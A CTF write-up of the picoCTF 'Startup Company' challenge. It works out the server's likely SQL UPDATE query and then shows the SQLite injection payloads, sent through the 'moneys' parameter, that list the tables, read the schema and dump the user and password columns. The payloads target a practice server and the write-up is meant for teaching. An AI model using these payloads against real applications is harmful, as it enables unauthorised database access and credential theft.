> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/picoctf/startup-company-180.md).

# Startup Company (180)

## Problem

Do you want to fund my startup?

{% embed url="<http://mercury.picoctf.net:5070/>" %}

## Solution

![](/files/-MX23cwNtT8aFyaHnLlM)

The query probably looks something like:

```sql
UPDATE some_table
SET 
    latest_contribution = <POST.moneys>
WHERE
    user_id = <SESSION.user_id>
```

So we can get information displayed in the green text by manipulating the `moneys=` parameter:

![](/files/-MX23zSInibWeKhvA7xA)

The SQLite version is 3.22.0:

![](/files/-MX23fS3kLGEk3t-aasd)

### Getting Table Names

`captcha=23&moneys=' || (SELECT GROUP_CONCAT(tbl_name) FROM sqlite_master)`

Note that `GROUP_CONCAT` is required to concatenate all the `tbl_name` values into a single string. Otherwise, we might miss out on some valuable data.

![](/files/-MX23h5JQQ32Z-Semzzs)

### Getting Column Names

`captcha=53&moneys='|| (SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users');`

![](/files/-MX23iSAmTsibmnl111x)

### Dumping Data

`captcha=36&moneys='|| (SELECT GROUP_CONCAT(nameuser) FROM startup_users);`

![](/files/-MX23jg7qaz4zkPgmoqT)

Indeed, our flag is hidden in the `wordpass` value for the `the_real_flag` user!

`captcha=66&moneys='|| (SELECT GROUP_CONCAT(wordpass) FROM startup_users);`

![](/files/-MX23kzpUpOZVuR2JeB6)